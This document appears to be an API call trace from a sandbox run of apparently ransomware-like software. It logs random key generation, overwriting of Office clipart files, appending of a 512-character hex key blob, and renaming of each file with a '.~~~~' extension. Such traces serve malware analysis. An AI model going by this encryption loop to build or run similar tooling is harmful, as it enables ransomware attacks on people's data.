	[0099.082] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0099.083] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363080 | out: pbBuffer=0x363080) returned 1
	[0099.083] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0099.083] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363080 | out: hHeap=0x300000) returned 1
	[0099.083] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0099.083] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0099.083] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=21907316687) returned 1
	[0099.083] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xa4bf6230, dwHighDateTime=0x1d60e1e)) 
	[0099.083] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0099.083] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0099.083] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0099.083] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2841d80
	[0099.083] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0099.083] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2841d80 | out: hHeap=0x300000) returned 1
	[0099.083] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0099.083] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0099.083] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0099.084] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0099.084] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x285fc38
	[0099.084] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0099.084] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0099.084] GetLastError () returned 0x0
	[0099.084] GetLastError () returned 0x0
	[0099.084] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0099.084] GetLastError () returned 0x0
	[0099.084] GetLastError () returned 0x0
	[0099.087] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xffff4a54, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0099.087] WriteFile (in: hFile=0x144, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0xb5ac, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x25dfec0*=0xb5ac, lpOverlapped=0x0) returned 1
	[0099.088] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0099.088] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0099.088] WriteFile (in: hFile=0x144, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0099.089] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0099.089] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0099.089] CloseHandle (hObject=0x144) returned 1
	[0099.089] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0099.089] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0146142.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0146142.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0146142.JPG.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0146142.jpg.~~~~")) returned 1
	[0099.090] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0099.090] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0099.090] GetLastError () returned 0x0
	[0099.090] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0099.091] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0099.091] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0099.091] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0099.091] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0099.091] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0099.091] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=21908142819) returned 1
	[0099.091] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xa4c1c390, dwHighDateTime=0x1d60e1e)) 
	[0099.091] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0099.091] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0099.092] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0099.092] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2841db8
	[0099.092] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0099.092] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2841db8 | out: hHeap=0x300000) returned 1
	[0099.092] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0099.092] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0099.092] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0099.092] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0099.092] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x285fe00
	[0099.092] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0099.092] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0099.092] GetLastError () returned 0x0
	[0099.092] GetLastError () returned 0x0
	[0099.092] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0099.092] GetLastError () returned 0x0
	[0099.093] GetLastError () returned 0x0
	[0099.100] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xffff5566, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0099.100] WriteFile (in: hFile=0x144, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0xaa9a, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x25dfec0*=0xaa9a, lpOverlapped=0x0) returned 1
	[0099.101] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0099.101] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0099.101] WriteFile (in: hFile=0x144, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0099.101] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0099.101] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0099.101] CloseHandle (hObject=0x144) returned 1
	[0099.101] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0099.101] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148309.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0148309.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148309.JPG.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0148309.jpg.~~~~")) returned 1
	[0099.102] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0099.102] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0099.102] GetLastError () returned 0x0
	[0099.102] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0099.103] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0099.103] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0099.103] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0099.103] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0099.103] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0099.103] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=21909353173) returned 1
	[0099.104] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xa4c424f0, dwHighDateTime=0x1d60e1e)) 
	[0099.104] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0099.104] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0099.104] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0099.104] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2841e28
	[0099.104] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0099.104] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2841e28 | out: hHeap=0x300000) returned 1
	[0099.104] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0099.104] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0099.104] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0099.104] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0099.104] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x285fe98
	[0099.104] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0099.104] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0099.104] GetLastError () returned 0x0
	[0099.104] GetLastError () returned 0x0
	[0099.104] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0099.105] GetLastError () returned 0x0
	[0099.105] GetLastError () returned 0x0
	[0099.184] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xffff6aa3, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0099.187] WriteFile (in: hFile=0x144, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0x955d, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x25dfec0*=0x955d, lpOverlapped=0x0) returned 1
	[0099.188] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0099.188] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0099.188] WriteFile (in: hFile=0x144, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0099.188] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0099.188] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0099.189] CloseHandle (hObject=0x144) returned 1
	[0099.189] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0099.189] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148798.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0148798.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148798.JPG.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0148798.jpg.~~~~")) returned 1
	[0099.269] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0099.269] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0099.269] GetLastError () returned 0x0
	[0099.270] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0099.271] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0099.271] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0099.271] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0099.271] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0099.271] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0099.271] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=21926149419) returned 1
	[0099.271] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xa4de5410, dwHighDateTime=0x1d60e1e)) 
	[0099.272] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0099.272] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0099.272] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0099.272] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a9688
	[0099.272] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0099.272] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a9688 | out: hHeap=0x300000) returned 1
	[0099.272] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0099.272] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0099.272] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0099.272] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0099.272] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28608a0
	[0099.272] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0099.272] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0099.272] GetLastError () returned 0x0
	[0099.272] GetLastError () returned 0x0
	[0099.272] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0099.272] GetLastError () returned 0x0
	[0099.273] GetLastError () returned 0x0
	[0099.326] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xffffd3b4, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0099.326] WriteFile (in: hFile=0x144, lpBuffer=0x28f9050*, nNumberOfBytesToWrite=0x2c4c, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28f9050*, lpNumberOfBytesWritten=0x25dfec0*=0x2c4c, lpOverlapped=0x0) returned 1
	[0099.327] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28f9050 | out: hHeap=0x300000) returned 1
	[0099.327] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0099.327] WriteFile (in: hFile=0x144, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0099.327] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0099.327] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0099.328] CloseHandle (hObject=0x144) returned 1
	[0099.328] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2970f00
	[0099.328] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152436.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152436.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152436.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152436.wmf.~~~~")) returned 1
	[0099.329] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2970f00 | out: hHeap=0x300000) returned 1
	[0099.329] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0099.329] GetLastError () returned 0x0
	[0099.348] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0099.349] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0099.349] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0099.349] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0099.349] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0099.350] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0099.350] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=21933972524) returned 1
	[0099.350] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xa4ea3af0, dwHighDateTime=0x1d60e1e)) 
	[0099.350] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0099.350] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0099.350] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0099.350] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x39dd90
	[0099.350] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0099.350] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39dd90 | out: hHeap=0x300000) returned 1
	[0099.350] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0099.350] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0099.350] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2970f00
	[0099.351] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0099.351] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2860b98
	[0099.351] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2970f00 | out: hHeap=0x300000) returned 1
	[0099.351] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0099.351] GetLastError () returned 0x0
	[0099.351] GetLastError () returned 0x0
	[0099.351] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0099.351] GetLastError () returned 0x0
	[0099.351] GetLastError () returned 0x0
	[0099.369] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xfffff190, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0099.369] WriteFile (in: hFile=0x144, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0xe70, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x25dfec0*=0xe70, lpOverlapped=0x0) returned 1
	[0099.370] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0099.370] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0099.371] WriteFile (in: hFile=0x144, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0099.371] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0099.371] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0099.371] CloseHandle (hObject=0x144) returned 1
	[0099.371] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2970f00
	[0099.371] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152568.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152568.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152568.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152568.wmf.~~~~")) returned 1
